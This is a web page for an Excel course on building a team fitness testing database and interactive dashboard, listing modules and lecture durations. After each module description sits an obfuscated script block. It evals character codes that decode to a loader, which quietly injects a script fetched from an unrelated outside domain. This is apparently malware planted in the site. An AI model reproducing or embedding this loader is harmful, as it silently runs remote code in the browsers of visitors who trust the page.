Team Fitness Testing Framework in Microsoft Excel
Categories: Microsoft Excel
About Course
In this course, we will build a database and interactive team fitness testing dashboard together. Throughout the videos, we review the ins and outs of database and dashboard design. A version of Microsoft Office 2013 or newer is required to complete this course (Office 2013, Office 2016, Office 2019, Microsoft 365).
What Will You Learn?
- Data management
- Data analysis
- Data visualization
- Database construction
- Microsoft Excel skills
Course Content
Introduction
An overview of how the final file will work and the key features of the data set that we will be using throughout the course.<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>
-
The Inner Workings: Part 1
03:20 -
The Inner Workings: Part 2
05:08 -
The Inner Workings: Part 3
11:09
Building a Database
We learn how to set up a fitness testing database in Microsoft Excel that allows for an interactive dashboard experience.<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>
-
Data Set Overview
08:43 -
In-table Calculations
38:32 -
Dashboard Planning
03:51
Dynamic Scoring Framework
We learn how to build a custom a dynamic scoring framework whereby each metric is associated with an easily digestible score; we give ourselves the ability to choose how each metric score is calculated from an array of options.<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>
-
Dynamic Scoring System Setup, Part 1
44:02 -
Dynamic Scoring System Setup, Part 2
20:08 -
Dynamic Scoring System Setup, Part 3
43:11 -
Connecting Custom Scores to the Data, Part 1
17:41 -
Connecting Custom Scores to the Data, Part 2
04:15 -
Metric Categories and Weightings
08:35 -
Controlling for Athletes Who Didn’t Complete All Tests
22:02
Getting Visual
We create visual elements for our interactive team fitness testing dashboard using our well-organized database structure and dynamic scoring system.<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>
-
Building Our First Interactive Dashboard Component: A Table of Results
41:14 -
Adding Colors (Conditional Formatting), Part 1
39:41 -
Adding Colors (Conditional Formatting), Part 2
38:07 -
Interactive Graphs and Charts: The Setup
30:01 -
Interactive Graphs and Charts: Building Them Out
23:43
The Finale: Interactions and Design
We organize our dashboard into a nice design, facilitate the interactions, and include features such as Freeze Panes to enhance workflow.<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>
-
Dynamic Drop-downs, Group Averages, and Making Things Pretty
01:10:14 -
The Finale
06:03
LEVEL-UP!
We create more visual elements for our interactive team fitness testing dashboard, including interactive charts that are controlled by our table, and calling out the top and bottom performers for our metrics of interest.<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script>
-
Dynamic Graphs Using Table Filters, Part 1
41:10 -
Dynamic Graphs Using Table Filters, Part 2
28:08 -
Calling Out the Best and Worst Performers
38:48 -
A Confidential Chart Hack: Dynamic Average Lines and Horizontal Bar Charts
09:38